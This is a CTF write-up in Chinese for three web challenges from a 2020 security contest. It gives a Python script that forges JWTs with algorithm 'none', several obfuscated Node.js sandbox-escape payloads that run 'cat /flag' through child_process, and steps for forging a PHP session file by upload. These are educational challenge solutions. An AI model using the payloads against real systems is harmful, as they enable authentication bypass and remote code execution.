2020数字中国创新大道虎符网络安全赛道Web题解
0x01 easy_login
可以扫到源码,看到是Koa框架,然后搜了下框架相关的知识,看到这篇
然后访问可以得到源码。
1 | //app.js |
1 | //controller.js |
1 | //rest.js |
1 | //controller/api.js |
有注册和登录的功能,
不可以注册admin,随机生成密钥,并将密钥按序保存到全局secrets数组中,利用jwt.sign来生成secretid, username, password的token。
登录时先获取secretid值,然后在全局的secrets里面获取密钥,之后利用jwt.verify()解密。
并且只有username为admin时才能得到flag。
题目提示说:
是依赖库有问题,然后看package.json
然后从这篇文章里看到
然后看本题登录时解token的密钥,
首先是通过提取token中的secretid,然后判断sid是否合法。然后将取secrets[sid]作为jwt解密的密钥,若此处secret不存在,jsonwebtoken
会采用algorithm none
进行解密,然后我们就可以通过伪造jwt变成admin,然后就可以得到flag。
然后回溯sid,当sid能够满足sid < global.secrets.length && sid >= 0
而且secriets[sid]为空,那么当sid为0.1能够满足,之后即可伪造admin。
解题步骤:
先得到非admin的jwt,利用jet.io解密。
伪造jwt。
1
2
3
4
5
6
7
8import jwt
token = jwt.encode({
"secretid": 0.1,
"username": "admin",
"password": "dddd",
"iat": 1587324387
},algorithm="none",key="").decode(encoding='utf-8')
print(token)
替换token登录。
修改cookie,访问/api/flag。
之后看来赵总的wp,他是用的将sid赋值为空数组,因为在javascript中,空数组与数字比较永远为真,下面是测试代码
1
2
3
4
5
6
7
8 import jwt
token = jwt.encode({
"secretid": [],
"username": "admin",
"password": "dddd",
"iat": 1587324387
},algorithm="none",key="").decode(encoding='utf-8')
print(token)
0x02 just_escape
这题是一道nodejs沙箱题,改的之前一个国外比赛的题,加了限制,过滤了单引号、双引号和一些关键字(child_process、execSync、prototype、constructor、process)。
首先可以查到,已经有表哥发了exp,然后就是对过滤的绕过了,
1 | ; |
1 | ; |
首先引号可以用反引号`来绕过,关键字通过
1 | `${`${`prototyp`}e`}` |
这样字符串拼接来绕过
payload:
1 | (function (){ |
1 | (function(){ |
官方payload:
1 | (()=>{ TypeError[[`p`,`r`,`o`,`t`,`o`,`t`,`y`,`p`,`e`][`join`](``)][`a`] = f=>f[[`c`,`o`,`n`,`s`,`t`,`r`,`u`,`c`,`t`,`o`,`r`][`join`](``)]([`r`,`e`,`t`,`u`,`r`,`n`,` `,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))(); try{ Object[`preventExtensions`](Buffer[`from`](``))[`a`] = 1; }catch(e){ return e[`a`](()=>{})[`mainModule`][[`r`,`e`,`q`,`u`,`i`,`r`,`e`][`join`](``)]([`c`,`h`,`i`,`l`,`d`,`_`,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))[[`e`,`x`,`e`,`c`,`S`,`y`,`n`,`c`][`join`](``)](`cat flag`)[`toString`](); } })() |
chamd5 解法
- 利用base64编码绕过关键字的过滤
1 global[[`eva`,%20`l`].join(``)](Buffer.from(`VHlwZUVycm9yLnByb3RvdHlwZS5nZXRfcHJvY2VzcyA9IGYgPT4gZi5jb25zdHJ1Y3RvcigicmV0dXJuIHByb2Nlc3MiKSgpOwp0cnkgewogICAgT2JqZWN0LnByZXZlbnRFeHRlbnNpb25zKEJ1ZmZlci5mcm9tKCIiKSkuYSA9IDE7Cn0gY2F0Y2ggKGUpIHsKICAgIGUuZ2V0X3Byb2Nlc3MoKCkgPT4geyB9KS5tYWluTW9kdWxlLnJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjU3luYygiY2F0IC9mbGFnIikudG9TdHJpbmcoKTsKfQ==`,%20`base64`).toString(`ascii`));
- 利用hex绕过
1 (function(){TypeError[String.fromCharCode(112,114,111,116,111,116,121,112,101)][`\x67\x65\x74\x5f\x70\x72\x6f\x63\x65\x73\x73`] = f=>f[`\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72`](`\x72\x65\x74\x75\x72\x6e\x20\x70\x72\x6f\x63\x65\x73\x73`)();try{Object.preventExtensions(Buffer.from(``)).a = 1;}catch(e){return e[`\x67\x65\x74\x5f\x70\x72\x6f\x63\x65\x73\x73`](()=>{}).mainModule.require((`\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73`))[`\x65\x78\x65\x63\x53\x79\x6e\x63`](`cat /flag`).toString();}})()
1
2
3
4
5
6
7
8
9
10
11 (function(){
try{
Buffer.from(new Proxy({}, {
getOwnPropertyDescriptor(){
throw f=>f[`\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72`](`\x72\x65\x74\x75\x72\x6e\x20\x70\x72\x6f\x63\x65\x73\x73`)();
}
}));
}catch(e){
return e(()=>{}).mainModule.require(`\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73`)[`\x65\x78\x65\x63\x53\x79\x6e\x63`](`cat /flag`).toString();
}
}()
附上自己编的hex编码脚本
1 | def fun(string): |
0x03 babyupload
题目直接给了源码,
1 |
|
首先开启了session机制,初始设置$_SESSION['username']='guest'
如果$_SESSION['username'] ==='admin'
而且/var/babyctf/success.txt
这个文件存在,就可以输出flag,然后看接下来的部分,通过direction可以设置上传或下载,有上传和下载的功能,上传需要自己伪造上传表单,文件路径通过
1 | $file_path = $dir_path."/".$_FILES['up_file']['name']; |
来拼接,下载文件的文件名
1 | $filename = basename(filter_input(INPUT_POST, 'filename')); |
通过他来拼接,$dirpath为
1 | $attr = filter_input(INPUT_POST, 'attr'); |
然后分析得到解题步骤如下:
- 下载sess_xx文件,获取服务端sess保存机制。
- 上传文件伪造admin的session,取得伪造后的PHPSESSID,
- 通过attr上传success.txt文件夹。
- 修改cookie,刷新界面
首先下载服务器端sess_xx文件
文件内容为
1 | usernames:5:"guest";//有一个不可见字符为0x08 |
后来得知后端php采用的是php_binary的session保存机制,键名长度对应的asc字符 键名 serialize后的字符串
然后本地搭建环境,修改源码输出文件保存的路径
发包;
1 | POST /hf/index.php HTTP/1.1 |
这里的文件名也可以以另一种方法获得,
1
2
3
4
5
6
7
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['username'] = 'admin';
var_dump($_SESSION);然后查看tmp目录,对应得生成得sess文件如下图:
然后直接计算hash值
然后向服务器端上传文件
1 | POST /index.php HTTP/1.1 |
可以检测一下文件是否上传成功
1 | POST / HTTP/1.1 |
之后通过attr建立success.txt文件夹,
1 | POST /index.php HTTP/1.1 |
然后修改cookie,刷新界面。